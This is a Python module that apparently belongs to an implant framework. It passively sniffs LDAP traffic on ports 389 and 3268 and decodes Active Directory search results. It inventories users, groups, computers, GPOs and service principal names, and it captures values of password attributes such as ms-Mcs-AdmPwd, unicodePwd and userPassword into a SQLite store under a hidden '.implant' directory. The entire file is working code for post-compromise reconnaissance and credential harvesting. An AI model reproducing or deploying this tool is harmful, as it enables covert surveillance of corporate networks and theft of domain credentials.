#!/usr/bin/env python3
"""LDAP query harvester — passive Active Directory object inventory.

Parses LDAP SearchRequest and SearchResultEntry messages on port 389/3268
using BER/ASN.1 decoding.  Extracts user objects (sAMAccountName, mail,
memberOf), group objects, computer objects, GPOs, SPNs, and detects
LAPS password reads (ms-Mcs-AdmPwd attribute access).
"""

import json
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional

from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found

logger = logging.getLogger(__name__)

# LDAP protocol tags
TAG_SEQUENCE = 0x30
TAG_INTEGER = 0x02
TAG_OCTET_STRING = 0x04
TAG_ENUMERATED = 0x0A
TAG_SET = 0x31
TAG_BOOLEAN = 0x01

# LDAP application tags (context-specific constructed)
LDAP_SEARCH_REQUEST = 0x63     # APPLICATION[3] CONSTRUCTED
LDAP_SEARCH_RESULT_ENTRY = 0x64  # APPLICATION[4] CONSTRUCTED
LDAP_SEARCH_RESULT_DONE = 0x65   # APPLICATION[5] CONSTRUCTED

# Interesting attributes (case-insensitive)
INTERESTING_ATTRS = {
    "samaccountname", "userprincipalname", "mail", "memberof",
    "distinguishedname", "objectclass", "cn", "name",
    "serviceprincipalname", "description", "operatingsystem",
    "dnshostname", "managedby", "gplink", "gpcfilesyspath",
    "ms-mcs-admpwd",  # LAPS password
    "ms-mcs-admpwdexpirationtime",
    "unicodepwd", "userpassword",
}

_DB_INIT = """
CREATE TABLE IF NOT EXISTS ldap_objects (
    id               INTEGER PRIMARY KEY AUTOINCREMENT,
    timestamp        REAL NOT NULL,
    dn               TEXT DEFAULT '',
    object_class     TEXT DEFAULT '',
    sam_account_name TEXT DEFAULT '',
    attributes_json  TEXT DEFAULT '{}',
    source_ip        TEXT NOT NULL
);
CREATE INDEX IF NOT EXISTS idx_ldap_sam ON ldap_objects(sam_account_name);
CREATE INDEX IF NOT EXISTS idx_ldap_class ON ldap_objects(object_class);
CREATE INDEX IF NOT EXISTS idx_ldap_ts ON ldap_objects(timestamp);
"""

FLUSH_INTERVAL = 45


class LDAPHarvester(BaseModule):
    """Passively harvest AD objects from LDAP traffic."""

    name = "ldap_harvester"
    module_type = "passive"
    priority = 100
    requires_root = True
    requires_capture_bus = True

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._capture_bus = None
        self._sub_queue = None
        self._read_thread: Optional[threading.Thread] = None
        self._flush_thread: Optional[threading.Thread] = None
        self._db_path = self._resolve_db_path()
        self._db_conn: Optional[sqlite3.Connection] = None
        self._write_buffer: list[tuple] = []
        self._buffer_lock = threading.Lock()
        self._seen_dns: set = set()  # Dedup by DN
        self._stats = {
            "packets_processed": 0,
            "search_requests": 0,
            "result_entries": 0,
            "users_found": 0,
            "groups_found": 0,
            "computers_found": 0,
            "spns_found": 0,
            "laps_reads_detected": 0,
        }

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return
        self._init_db()
        self._capture_bus = self.config.get("_capture_bus")
        if self._capture_bus is None:
            logger.error("LDAPHarvester requires _capture_bus in config")
            return

        self._sub_queue = self._capture_bus.subscribe(
            name=self.name, bpf_filter="port 389 or port 3268", queue_depth=5000
        )

        self._running = True
        self._start_time = time.time()
        self._pid = os.getpid()

        self._read_thread = threading.Thread(
            target=self._read_loop, daemon=True, name="sensor-ldap-read"
        )
        self._read_thread.start()

        self._flush_thread = threading.Thread(
            target=self._flush_loop, daemon=True, name="sensor-ldap-flush"
        )
        self._flush_thread.start()

        self.state.set_module_status(self.name, "running", pid=self._pid)
        self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
        logger.info("LDAPHarvester started")

    def stop(self) -> None:
        if not self._running:
            return
        self._running = False
        if self._capture_bus:
            self._capture_bus.unsubscribe(self.name)
        for t in (self._read_thread, self._flush_thread):
            if t and t.is_alive():
                t.join(timeout=5.0)
        self._flush_buffer()
        if self._db_conn:
            self._db_conn.close()
            self._db_conn = None
        self.state.set_module_status(self.name, "stopped")
        self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
        logger.info("LDAPHarvester stopped — stats: %s", self._stats)

    def status(self) -> dict:
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            **self._stats,
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)

    # ------------------------------------------------------------------
    # Packet processing
    # ------------------------------------------------------------------

    def _read_loop(self) -> None:
        while self._running:
            result = self._sub_queue.get(timeout=1.0)
            if result is None:
                continue
            ts, pkt = result
            self._stats["packets_processed"] += 1
            try:
                self._process_packet(pkt, ts)
            except Exception:
                logger.debug("Error processing LDAP packet", exc_info=True)

    def _process_packet(self, pkt: bytes, ts: float) -> None:
        """Extract TCP payload and parse LDAP messages."""
        if len(pkt) < 54:
            return

        ethertype = struct.unpack("!H", pkt[12:14])[0]
        eth_offset = 14
        if ethertype == 0x8100:
            if len(pkt) < 58:
                return
            ethertype = struct.unpack("!H", pkt[16:18])[0]
            eth_offset = 18

        if ethertype != 0x0800:
            return

        ip_header = pkt[eth_offset:]
        if len(ip_header) < 20:
            return
        ihl = (ip_header[0] & 0x0F) * 4
        ip_proto = ip_header[9]
        if ip_proto != 6:
            return

        src_ip = socket.inet_ntoa(ip_header[12:16])

        if len(ip_header) < ihl + 20:
            return
        tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
        payload = ip_header[ihl + tcp_data_off:]

        if len(payload) < 5:
            return

        self._parse_ldap_messages(payload, src_ip, ts)

    def _parse_ldap_messages(self, data: bytes, src_ip: str, ts: float) -> None:
        """Parse one or more LDAP messages from a TCP payload."""
        pos = 0
        while pos < len(data) - 2:
            if data[pos] != TAG_SEQUENCE:
                break

            msg_len, len_size = self._read_ber_length(data[pos + 1:])
            if msg_len <= 0:
                break
            msg_start = pos + 1 + len_size
            msg_end = msg_start + msg_len
            if msg_end > len(data):
                break

            msg_body = data[msg_start:msg_end]
            self._parse_ldap_message(msg_body, src_ip, ts)
            pos = msg_end

    def _parse_ldap_message(self, msg: bytes, src_ip: str, ts: float) -> None:
        """Parse a single LDAP message (after outer SEQUENCE)."""
        if len(msg) < 5:
            return

        # Message ID (INTEGER)
        if msg[0] != TAG_INTEGER:
            return
        id_len = msg[1]
        if id_len < 1 or 2 + id_len >= len(msg):
            return

        op_start = 2 + id_len
        if op_start >= len(msg):
            return

        op_tag = msg[op_start]
        op_len, op_len_size = self._read_ber_length(msg[op_start + 1:])
        if op_len <= 0:
            return
        op_body = msg[op_start + 1 + op_len_size:op_start + 1 + op_len_size + op_len]

        if op_tag == LDAP_SEARCH_REQUEST:
            self._handle_search_request(op_body, src_ip, ts)
        elif op_tag == LDAP_SEARCH_RESULT_ENTRY:
            self._handle_search_result_entry(op_body, src_ip, ts)

    def _handle_search_request(self, body: bytes, src_ip: str, ts: float) -> None:
        """Parse SearchRequest for base DN and filter."""
        self._stats["search_requests"] += 1

        # BaseObject (OCTET STRING)
        base_dn = self._read_octet_string(body, 0)
        if base_dn is None:
            return

        # Check if requesting LAPS password
        body_str = body.decode("ascii", errors="replace").lower()
        if "ms-mcs-admpwd" in body_str:
            self._stats["laps_reads_detected"] += 1
            logger.warning("LAPS password read detected from %s (base DN: %s)", src_ip, base_dn)
            emit_credential_found(self.bus, self.name, {
                "source": "laps_read",
                "source_ip": src_ip,
                "base_dn": base_dn,
                "detail": "LAPS password attribute requested in LDAP search",
            })

    def _handle_search_result_entry(self, body: bytes, src_ip: str,
                                     ts: float) -> None:
        """Parse SearchResultEntry to extract DN and attributes."""
        self._stats["result_entries"] += 1

        # ObjectName (OCTET STRING) = DN
        dn = self._read_octet_string(body, 0)
        if dn is None:
            return

        # Skip past the DN OCTET STRING
        dn_tag_len, _ = self._skip_tlv(body, 0)
        if dn_tag_len < 0:
            return

        # Attributes (SEQUENCE OF PartialAttribute)
        attrs = {}
        attr_data = body[dn_tag_len:]
        if len(attr_data) < 2 or attr_data[0] != TAG_SEQUENCE:
            # May be in a different format
            pass
        else:
            attr_seq_len, attr_len_size = self._read_ber_length(attr_data[1:])
            attr_body = attr_data[1 + attr_len_size:]
            self._parse_partial_attributes(attr_body, attr_seq_len, attrs)

        # Classify object
        object_class = ""
        sam = attrs.get("samaccountname", "")
        classes = attrs.get("objectclass", "")
        classes_lower = classes.lower() if isinstance(classes, str) else ""

        if "user" in classes_lower or "person" in classes_lower:
            object_class = "user"
            self._stats["users_found"] += 1
        elif "group" in classes_lower:
            object_class = "group"
            self._stats["groups_found"] += 1
        elif "computer" in classes_lower:
            object_class = "computer"
            self._stats["computers_found"] += 1
        elif "grouppolicycontainer" in classes_lower:
            object_class = "gpo"

        # Track SPNs
        if "serviceprincipalname" in attrs:
            self._stats["spns_found"] += 1

        # Dedup
        if dn in self._seen_dns:
            return
        self._seen_dns.add(dn)
        if len(self._seen_dns) > 50000:
            self._seen_dns.clear()

        # Filter to interesting attributes only
        filtered_attrs = {
            k: v for k, v in attrs.items()
            if k.lower() in INTERESTING_ATTRS
        }

        self._record_object(ts, dn, object_class, sam, filtered_attrs, src_ip)

    def _parse_partial_attributes(self, data: bytes, max_len: int,
                                   attrs: dict) -> None:
        """Parse SEQUENCE OF PartialAttribute."""
        pos = 0
        while pos < min(len(data), max_len) - 2:
            if data[pos] != TAG_SEQUENCE:
                break

            seq_len, seq_len_size = self._read_ber_length(data[pos + 1:])
            if seq_len <= 0:
                break

            attr_body = data[pos + 1 + seq_len_size:pos + 1 + seq_len_size + seq_len]
            self._parse_single_attribute(attr_body, attrs)
            pos += 1 + seq_len_size + seq_len

    def _parse_single_attribute(self, data: bytes, attrs: dict) -> None:
        """Parse a single PartialAttribute (type + SET OF values)."""
        # AttributeDescription (OCTET STRING)
        attr_name = self._read_octet_string(data, 0)
        if attr_name is None:
            return

        name_total, _ = self._skip_tlv(data, 0)
        if name_total < 0:
            return

        # Values (SET OF AttributeValue)
        val_data = data[name_total:]
        if len(val_data) < 2 or val_data[0] != TAG_SET:
            return

        set_len, set_len_size = self._read_ber_length(val_data[1:])
        if set_len <= 0:
            return

        set_body = val_data[1 + set_len_size:]
        values = []
        vpos = 0
        while vpos < min(len(set_body), set_len) - 2:
            val = self._read_octet_string(set_body, vpos)
            if val is not None:
                values.append(val)
            total, _ = self._skip_tlv(set_body, vpos)
            if total <= 0:
                break
            vpos += total

        if len(values) == 1:
            attrs[attr_name.lower()] = values[0]
        elif values:
            attrs[attr_name.lower()] = "; ".join(values)

    # ------------------------------------------------------------------
    # BER helpers
    # ------------------------------------------------------------------

    @staticmethod
    def _read_ber_length(data: bytes) -> tuple:
        """Read BER length. Returns (length, bytes_consumed)."""
        if not data:
            return (0, 0)
        first = data[0]
        if first < 0x80:
            return (first, 1)
        num_bytes = first & 0x7F
        if num_bytes == 0 or len(data) < 1 + num_bytes:
            return (0, 0)
        length = 0
        for i in range(num_bytes):
            length = (length << 8) | data[1 + i]
        return (length, 1 + num_bytes)

    def _read_octet_string(self, data: bytes, offset: int) -> Optional[str]:
        """Read an OCTET STRING at offset. Returns decoded string or None."""
        if offset >= len(data) - 1:
            return None
        tag = data[offset]
        if tag != TAG_OCTET_STRING:
            return None
        length, len_size = self._read_ber_length(data[offset + 1:])
        if length <= 0:
            return None
        start = offset + 1 + len_size
        if start + length > len(data):
            return None
        try:
            return data[start:start + length].decode("utf-8", errors="replace")
        except Exception:
            return None

    def _skip_tlv(self, data: bytes, offset: int) -> tuple:
        """Skip past a TLV element. Returns (total_bytes, tag)."""
        if offset >= len(data):
            return (-1, 0)
        tag = data[offset]
        length, len_size = self._read_ber_length(data[offset + 1:])
        if length < 0:
            return (-1, 0)
        total = 1 + len_size + length
        return (total, tag)

    # ------------------------------------------------------------------
    # Database
    # ------------------------------------------------------------------

    def _resolve_db_path(self) -> str:
        base = self.config.get("db_dir", os.path.join(
            os.path.expanduser("~"), ".implant"
        ))
        return os.path.join(base, "ldap_harvester.db")

    def _init_db(self) -> None:
        Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
        self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
        self._db_conn.execute("PRAGMA journal_mode=WAL")
        self._db_conn.execute("PRAGMA synchronous=NORMAL")
        self._db_conn.executescript(_DB_INIT)
        self._db_conn.commit()

    def _record_object(self, ts: float, dn: str, object_class: str,
                       sam: str, attrs: dict, src_ip: str) -> None:
        with self._buffer_lock:
            self._write_buffer.append((
                ts, dn, object_class, sam, json.dumps(attrs), src_ip
            ))

    def _flush_buffer(self) -> None:
        with self._buffer_lock:
            batch = list(self._write_buffer)
            self._write_buffer.clear()

        if not batch or not self._db_conn:
            return

        try:
            with self._db_conn:
                self._db_conn.executemany(
                    """INSERT INTO ldap_objects
                       (timestamp, dn, object_class, sam_account_name,
                        attributes_json, source_ip)
                       VALUES (?, ?, ?, ?, ?, ?)""",
                    batch,
                )
        except Exception:
            logger.exception("Failed to flush LDAP objects")

    def _flush_loop(self) -> None:
        while self._running:
            time.sleep(FLUSH_INTERVAL)
            try:
                self._flush_buffer()
            except Exception:
                logger.exception("Flush loop error")
